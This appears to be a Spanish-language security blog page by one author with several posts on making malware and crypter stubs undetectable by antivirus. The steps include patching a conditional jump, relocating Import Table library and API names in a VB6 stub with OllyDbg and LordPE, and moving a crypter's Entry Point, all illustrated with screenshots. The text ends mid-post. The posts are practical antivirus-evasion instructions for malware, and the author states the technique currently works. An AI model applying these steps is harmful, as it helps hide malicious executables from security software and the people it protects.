<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqUeiGDoBySS8A-BL1_jdA98VoZqyNnY2R1fW2rDTh-aIial4zlVAMcVx6NOXsrfiZ87ud1A7SrNtj0ZW9s1LE2nLr9SF7L0UBrhY8c_FUMHWSGh734tBQh0s3y4bru8nM3-HlNwomXhck/s1600/7+Evasi%25C3%25B3n+de+firmas+antivirus+condicionales.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="342" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqUeiGDoBySS8A-BL1_jdA98VoZqyNnY2R1fW2rDTh-aIial4zlVAMcVx6NOXsrfiZ87ud1A7SrNtj0ZW9s1LE2nLr9SF7L0UBrhY8c_FUMHWSGh734tBQh0s3y4bru8nM3-HlNwomXhck/s640/7+Evasi%25C3%25B3n+de+firmas+antivirus+condicionales.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">De esta manera, la condición de que la primera instrucción fuese
un JMP, evitaría la rutina de detección del antivirus.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxPbqOuK-xhQQ0Dx2C-PUmtEu99Kg2k_aZSsmWZ8PThFpV2EZQdaAffSOqXd1o7k46bC2TuffaVDinJkyLzHFDy3UV2MhOHv3AP3F10XlifG-GIR028WRDnwRLRGmlelqpsFFmbMXbdUkX/s1600/8+Evasi%25C3%25B3n+de+firmas+antivirus+condicionales.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxPbqOuK-xhQQ0Dx2C-PUmtEu99Kg2k_aZSsmWZ8PThFpV2EZQdaAffSOqXd1o7k46bC2TuffaVDinJkyLzHFDy3UV2MhOHv3AP3F10XlifG-GIR028WRDnwRLRGmlelqpsFFmbMXbdUkX/s1600/8+Evasi%25C3%25B3n+de+firmas+antivirus+condicionales.png" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Y ya podría lucir mi <b>ParameterFuzz v1.4</b>, sin tener que
agregarlo a las excepciones de Avira Antivir.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoTIHyYLlI81ZSgHC12l5NDymB1IDfy4kHmiXygU9H-101tqaMrUR0LRqi5Ca8VxzNqFOEmcrNn_NmVCpJ66EKXGYhCcW2QmYildxQ9bxI5KA_BDZ0lhQedSeOVjmopz-edZOYvQvFAjuW/s1600/9+Evasi%25C3%25B3n+de+firmas+antivirus+condicionales.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="458" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoTIHyYLlI81ZSgHC12l5NDymB1IDfy4kHmiXygU9H-101tqaMrUR0LRqi5Ca8VxzNqFOEmcrNn_NmVCpJ66EKXGYhCcW2QmYildxQ9bxI5KA_BDZ0lhQedSeOVjmopz-edZOYvQvFAjuW/s640/9+Evasi%25C3%25B3n+de+firmas+antivirus+condicionales.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">No obstante, me pondré en contacto con Avira para tratar de
evitar la molestia, ya que no es la primera vez que me pasa algo como esto con
un software “inofensivo” y tengo que comunicarlo…<i> ¡al menos que le pongan un nombre bonito en plan Para-Meter-HackTool!</i></span></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span style="font-family: Courier New, Courier, monospace;"><br /></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Saludos 4n4les! ;)</span><o:p></o:p></div>
<div class="blogger-post-footer">Feed Blogger Germán Sánchez Garcés</div>Germán Sánchez Garcéshttp://www.blogger.com/profile/09955799520119890787noreply@blogger.com7tag:blogger.com,1999:blog-2707641124274171597.post-78989888733697180572012-12-30T16:21:00.001+01:002012-12-30T16:21:37.126+01:00Antivirus K.O. "I Like To Move It"<br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">La verdad que siempre que vengo a hablar de malware, hablo
de mis métodos de librerías y dependencias… que si hacemos ejecutables
portables con <a href="http://www.enelpc.com/2011/12/metodo-daf-evolution-by-4n0nym0us.html">DAFe</a>,
o de si nos aprovechamos con <a href="https://www.google.es/search?q=m%C3%A9todo%20bugdll">BugDLL</a>, de la forma
de buscar dependencias de los ejecutables, y de su innecesidad de incluir las
extensiones junto al nombre de la librería. Todo, por modificar de una manera
suave, algún Offset en común, con las dolorosas firmas que compañías antivirus,
colocan en ciertas partes del malware evitando la realización de modificaciones
simples sobre los binarios.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal">
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">En este caso viajaremos hasta la <b>Import Table</b>, donde encontraremos el nombre de las librerías necesarias
para la ejecución de cada binario, junto a sus Apis. Anteriormente encontré
métodos en los que agregando un carácter (X), delante del API desde un editor
hexadecimal este se volvía indetectable… claro que era muy posible que nos
cepillásemos media <b>Import Table</b> y en
algún sistema <b>Windows</b> <b>3.1</b> funcionase.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">En este caso migraremos las instrucciones, hasta un hueco en
el que se permita escribir en memoria el nombre de las dependencias, APIs o
demás información de la <b>IT</b>, para más
tarde llamar a estas nuevas direcciones sin romper el flujo del ejecutable.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">En primer lugar, abriré el Stub de mi anterior entrada con <b>LordPE</b> y dirigiéndonos al “Directory
Table” y después a “Import Table”, nos encontraremos con la siguiente ventana.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQ5H11gC6BrG8_6iJeDmyd1ymgGFE2RakcsGnG4X9XRrXKWwTJ2Tg8yGUwUK8XNrvQ7dnKH2M712DmAB-YEDvEfC8u5zqYexl0-2Vao2iaR1q-_2AheWsTq6P_H3KGDFgBw5_FphA3KH6P/s1600/1%252BName%252BLibreria.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-family: Courier New, Courier, monospace;"><img border="0" height="280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQ5H11gC6BrG8_6iJeDmyd1ymgGFE2RakcsGnG4X9XRrXKWwTJ2Tg8yGUwUK8XNrvQ7dnKH2M712DmAB-YEDvEfC8u5zqYexl0-2Vao2iaR1q-_2AheWsTq6P_H3KGDFgBw5_FphA3KH6P/s640/1%252BName%252BLibreria.png" width="640" /></span></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><b>DLLName</b> indica el
nombre de la librería utilizada por nuestra aplicación, es un Stub en <b>Visual Basic 6 </b>el cual, guarda en la
dirección <b>40<span style="color: red;">413C</span></b>,
el nombre de la librería <b>MSVBVM60.DLL</b>,
necesaria para la ejecución del mismo. Modificando esta librería de una mala
manera, conseguiríamos que la aplicación no se ejecutase.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Abriendo <b>OllyDbg</b>
y buscando la dirección de memoria mencionada anteriormente, llegaríamos hasta
el nombre de la librería en <b>ASCII</b>.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwvbKMp5OVgga4j3MSNu8mipiboemfa50I4FAIqqz1DIl3kuWN2K44mduKIYcKtZknjI8shdWb6caXXPuq_cC0k0VDtIvIZSfvtySB6dvyPx2hL2doOtei9p_5KuFnRWtkpn9iJYQdTvYn/s1600/2%252B413C%252BLibreria%252BOlly.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-family: Courier New, Courier, monospace;"><img border="0" height="402" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwvbKMp5OVgga4j3MSNu8mipiboemfa50I4FAIqqz1DIl3kuWN2K44mduKIYcKtZknjI8shdWb6caXXPuq_cC0k0VDtIvIZSfvtySB6dvyPx2hL2doOtei9p_5KuFnRWtkpn9iJYQdTvYn/s640/2%252B413C%252BLibreria%252BOlly.png" width="640" /></span></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">En la parte baja se muestra la dirección encontrada desde la
vista ejecutable.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Realizaremos una copia de <b>MSVBVM60.DLL </b>en modo binario.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgM8sK8XbAcAPYDlrjdYvukYMQIAcel-Sap_eFCquNOdyUxCMSkbos3ZEt00O6bmeIWjGdKJam_b1HWp0q2-Yy2ubqaaZoMza1YyIK9HuWkjk-1Tv19SMTizt-tn1wFDDmYRXBJhdPmsUv0/s1600/3%252BLibreria%252BOlly%252BCopy.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-family: Courier New, Courier, monospace;"><img border="0" height="402" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgM8sK8XbAcAPYDlrjdYvukYMQIAcel-Sap_eFCquNOdyUxCMSkbos3ZEt00O6bmeIWjGdKJam_b1HWp0q2-Yy2ubqaaZoMza1YyIK9HuWkjk-1Tv19SMTizt-tn1wFDDmYRXBJhdPmsUv0/s640/3%252BLibreria%252BOlly%252BCopy.png" width="640" /></span></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Para más tarde, buscar un hueco en el ejecutable con <b>Topo</b> o simplemente viendo si queda
espacio ejecutable suficiente bajo la <b>IT</b>,
realizaremos un “Binary Paste”.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkUPWRV1k_zfUvPLejWS4MaIx6mB3f6mjkO2bEoTNShndJq_y51rTxbKOb8PCDnCHh4ppLpW_9exAeSdhARRA0OuwRxEqEkh2q3CLLOTK6-gZMBxv8Y_HBjamScl8a-ZEi2UOn_qS4yU1t/s1600/4%252BLibreria%252BOlly%252BPaste.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-family: Courier New, Courier, monospace;"><img border="0" height="402" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkUPWRV1k_zfUvPLejWS4MaIx6mB3f6mjkO2bEoTNShndJq_y51rTxbKOb8PCDnCHh4ppLpW_9exAeSdhARRA0OuwRxEqEkh2q3CLLOTK6-gZMBxv8Y_HBjamScl8a-ZEi2UOn_qS4yU1t/s640/4%252BLibreria%252BOlly%252BPaste.png" width="640" /></span></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Una vez duplicado el nombre de la librería, podremos
sustituir el espacio de la antigua por <b>NOPs</b>
o <b>código basura</b>.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1dRNhHVH8ft_BsmUJJBIlYD1wGxH9StmZ37tBp4uIARwEkHuUzmNOJZ66QlvRsmdSniv6J6yyywEfSxtGsJLpK6sCDRVKsqGB9QARExvbrceTrq1o6dDALxIEDGPDafmhMna3XX_fz5x3/s1600/5%252BParte%252BEjecutable%252BOlly%252B00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-family: Courier New, Courier, monospace;"><img border="0" height="270" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1dRNhHVH8ft_BsmUJJBIlYD1wGxH9StmZ37tBp4uIARwEkHuUzmNOJZ66QlvRsmdSniv6J6yyywEfSxtGsJLpK6sCDRVKsqGB9QARExvbrceTrq1o6dDALxIEDGPDafmhMna3XX_fz5x3/s640/5%252BParte%252BEjecutable%252BOlly%252B00.png" width="640" /></span></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Haremos la copia de las modificaciones sobre el ejecutable y
guardaremos nuestro trabajo. En caso de querer ejecutar la aplicación, nos
encontraremos con el siguiente mensaje de error.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCxvB1sIbRbg8BPB9CggLbxR2wcnoMGc-VRo6MiETGsUTxS2wTHXlyookWZZ9uvtgvf6UZH-YIRqP1El_XCcA-Got5dBOpzXQrJvY1dR5kNN2UjDvZ6L_ZBPtnPcjmnfmwe_sujg2VsmAf/s1600/6%252BError%252BStub%252Broto.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-family: Courier New, Courier, monospace;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCxvB1sIbRbg8BPB9CggLbxR2wcnoMGc-VRo6MiETGsUTxS2wTHXlyookWZZ9uvtgvf6UZH-YIRqP1El_XCcA-Got5dBOpzXQrJvY1dR5kNN2UjDvZ6L_ZBPtnPcjmnfmwe_sujg2VsmAf/s1600/6%252BError%252BStub%252Broto.png" /></span></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Nuestro <b>Stub</b> por
ahora está roto. Es el momento de volverlo a cargar en <b>LordPE. </b>Viendo que el <b>DLLName</b>
ahora no se encuentra disponible, deberemos de editarlo para incluir en <b>Name RVA</b>, la nueva dirección donde se
encuentra el nombre de la librería, la <b>40<span style="color: red;">418A</span></b>. <o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiI5uKtgBECOr8WYWqKbFPWp9vQJbKG04ckpJc6CpktqGX-51qSPmwx0fFEDJ1Lucz5tXAUleZiXWgQHBqdkh2JiYA6wY_ieI08tPoF4KJZyxPmFd85q079nCdVbul6RXLKk-9FmrzORvv-/s1600/7%252BImport%252BTable%252BLibreria.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-family: Courier New, Courier, monospace;"><img border="0" height="280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiI5uKtgBECOr8WYWqKbFPWp9vQJbKG04ckpJc6CpktqGX-51qSPmwx0fFEDJ1Lucz5tXAUleZiXWgQHBqdkh2JiYA6wY_ieI08tPoF4KJZyxPmFd85q079nCdVbul6RXLKk-9FmrzORvv-/s640/7%252BImport%252BTable%252BLibreria.png" width="640" /></span></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Guardaremos, y automáticamente nos mostrará el cambio en
pantalla.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCygE3K1OT-k7W_0vCzT3TKvtdwIL7ihyYvBwu1koG521nkmlhsyCOBRaP5aDiDCSRA575EJHLEU_KhR9bRqMIWox80LOrrs2F2mNq0Jhmp_1xWajU8i_EGsiUayGuzSUAk3V0-zxiPdLx/s1600/8%252BLibreria%252Bagregada.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-family: Courier New, Courier, monospace;"><img border="0" height="280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCygE3K1OT-k7W_0vCzT3TKvtdwIL7ihyYvBwu1koG521nkmlhsyCOBRaP5aDiDCSRA575EJHLEU_KhR9bRqMIWox80LOrrs2F2mNq0Jhmp_1xWajU8i_EGsiUayGuzSUAk3V0-zxiPdLx/s640/8%252BLibreria%252Bagregada.png" width="640" /></span></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Ya tenemos nuestra redirección a otro espacio del ejecutable
terminado, para evitar una posible firma sobre las dependencias. De la misma
manera, podremos realizar el mismo proceso sobre las APIs, modificando el valor
de <b>ThunkValue</b> junto al de <b>APIName</b>.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEnxI6Gg53s53MZRvWv8lRTk7C7QCEh2fYDDBGTQFxQeAIyOqc9FEHBdF9QY7XYl74_57eovViQDRBXbEiwYjBY3ht7KAwvTMl5polkelHd-_wH65g0YpwHdK-qIjTaPtJheRxCTCMUpYj/s1600/9%252BAPIs%252BThunkValue%252BAPIName.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-family: Courier New, Courier, monospace;"><img border="0" height="316" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEnxI6Gg53s53MZRvWv8lRTk7C7QCEh2fYDDBGTQFxQeAIyOqc9FEHBdF9QY7XYl74_57eovViQDRBXbEiwYjBY3ht7KAwvTMl5polkelHd-_wH65g0YpwHdK-qIjTaPtJheRxCTCMUpYj/s640/9%252BAPIs%252BThunkValue%252BAPIName.png" width="640" /></span></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">La siguiente imagen, mostrará a la izquierda el verdadero
lugar de la referencia al API <b>vbaExceptHandler</b>
y a la derecha el relleno de NOPs en amarillo, junto a la copia del API.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEJZ5p_Yeb7FOZVYp5EAyTjugBcXG-TqgN8ivmcfsZfhQM26E-Zk0qFrSc2OB6vd6RSSDUCuxUbq6ANdt9A9_NvAHC_Qu-jbBy0fZ4jq1Q7yPzRPNWARvfVDxBVnFP8JYx6Smd-KHz13LD/s1600/9+APIs+X+Comparaci%C3%B3n.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-family: Courier New, Courier, monospace;"><img border="0" height="138" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEJZ5p_Yeb7FOZVYp5EAyTjugBcXG-TqgN8ivmcfsZfhQM26E-Zk0qFrSc2OB6vd6RSSDUCuxUbq6ANdt9A9_NvAHC_Qu-jbBy0fZ4jq1Q7yPzRPNWARvfVDxBVnFP8JYx6Smd-KHz13LD/s640/9+APIs+X+Comparaci%C3%B3n.png" width="640" /></span></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Igualmente podremos redireccionar todas las
instrucciones de la <b>IT </b>utilizando la dirección del <b>OriginalFirstThunk</b>, aunque podríamos dejar firmas con el gran
número de direcciones a mover.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Saludos 4n4les! ;)</span><o:p></o:p></div>
<div class="blogger-post-footer">Feed Blogger Germán Sánchez Garcés</div>Germán Sánchez Garcéshttp://www.blogger.com/profile/09955799520119890787noreply@blogger.com4tag:blogger.com,1999:blog-2707641124274171597.post-74574521583202540412012-12-27T20:56:00.000+01:002012-12-27T20:56:50.638+01:00Antivirus K.O. moviendo el Entry Point<br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Tengo tanto tiempo libre... como cuando tenía 17 años.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Sé lo que estáis pensando… “El mamarracho este, viene a mi
RSS a reírse de mí, en mi cara y… <i>¡yo sigo leyéndolo!”</i><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Bueno, posiblemente no con 17 años tuviese tanto tiempo libre…
la play, el deporte, las mujeres, los estudios para aquellos que estudiaron,
las mujeres, </span><i style="font-family: 'Courier New', Courier, monospace;">¿he dicho mujeres?</i><span style="font-family: 'Courier New', Courier, monospace;">.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Pero lo que son los 24, <i>¡menudo
regalo de Dios!.</i> En vacaciones, despertándome a las 2 de la tarde, de
resaca, la novia trabajando, sin hijos… <i>¡oye!</i>
<i>¡Qué hay tiempo de sobra para frikear!<o:p></o:p></i></span></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span style="font-family: Courier New, Courier, monospace;"><br /></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Y nada mejor como volver a la juventud informática, desde
mis inicios <a href="http://www.enelpc.com/2011/01/explotando-la-ingenieria-social-en-las.html">en
aquel colegio de curas</a> del que no quieren saber nada de mí, hasta las
modificaciones de malware que a duras penas salían en indetectables, a golpe de
martillo en algunos casos.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Hablando de modificaciones, la que vengo a contar hoy, es
una de tantas técnicas utilizadas para conseguir esquivar, firmas antivirus de
una sola estocada. Ya que actualmente funciona y la técnica, es más bien a
cincel que a martillo, vengo a esculpiros.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">El <b>Entry Point</b>, es la dirección de memoria, en la que se
inicializa el código de una aplicación, siendo el punto de partida de
ejecución. Si somos capaces de llevar a cabo la migración, de la dirección de memoria
donde se encuentra el <b>EIP</b>, junto a sus instrucciones, a otro lugar, estaremos modificando físicamente la
<b>cabecera PE</b> de una forma correcta y dando lugar a la posibilidad de eludir
firmas antivirus, que hayan sido colocadas en este tipo de zonas estratégicas
para evitar que una simple modificación en hexadecimal, pueda romper la firma.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Yo he elegido el famoso <b>Crypter BPC</b>, por ser una de mis
primeras modificaciones de hace unos años, para extraer el <b>Stub </b>de esta
herramienta, necesitaremos un editor de recursos como puede ser <b><a href="http://www.angusj.com/resourcehacker/">Resource Hacker</a></b>, para poder modificar el ejecutable con firmas, a nuestro antojo. En
primer lugar, nos armaremos de Olly.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Una vez arrastrado nuestro <b>stub.exe</b> a <b>Olly</b>, podremos ver
marcado en negro el Entry Point, detrás del a dirección de memoria <b>004010C4</b>.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQJ5zXq5ubr52kGcVgfdNUuMBfv6SapaRsw6U5Iay59U6FoWZN4qb93sOsO31b4PuDoMVzY7bvcFjcFQGUoFsLByDXaZSC_Q29TqGK44pVcxhoNfOCgzvWKszv_WX3ct49VaZNzmhqv_uG/s1600/Moviendo%252Bel%252BEntry%252BPoint%252B1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="354" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQJ5zXq5ubr52kGcVgfdNUuMBfv6SapaRsw6U5Iay59U6FoWZN4qb93sOsO31b4PuDoMVzY7bvcFjcFQGUoFsLByDXaZSC_Q29TqGK44pVcxhoNfOCgzvWKszv_WX3ct49VaZNzmhqv_uG/s640/Moviendo%252Bel%252BEntry%252BPoint%252B1.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Copiaremos las dos primeras instrucciones ensambladas, que
más tarde introduciremos en otra posición de memoria. <o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq8N8VJFlgHAKjuFWHQ-jGlyK7ADYaIETS9NLyLuqY2a0QrUliV2r95pyfa5rCQJXRUEK0QDooClao5fmTlMbXVXXwmIS9aB868VlYTYmNOhRPuReak-hNHAAdQ0-k1KZvVpwjQkKd1zF_/s1600/Moviendo%252Bel%252BEntry%252BPoint%252B2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="354" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq8N8VJFlgHAKjuFWHQ-jGlyK7ADYaIETS9NLyLuqY2a0QrUliV2r95pyfa5rCQJXRUEK0QDooClao5fmTlMbXVXXwmIS9aB868VlYTYmNOhRPuReak-hNHAAdQ0-k1KZvVpwjQkKd1zF_/s640/Moviendo%252Bel%252BEntry%252BPoint%252B2.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Y rellenaremos de NOPS, para por ejemplo, aplicar saltos con
<a href="http://www.enelpc.com/2012/02/metodo-rit-el-inmortal.html"><b>método RIT</b></a> más adelante.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
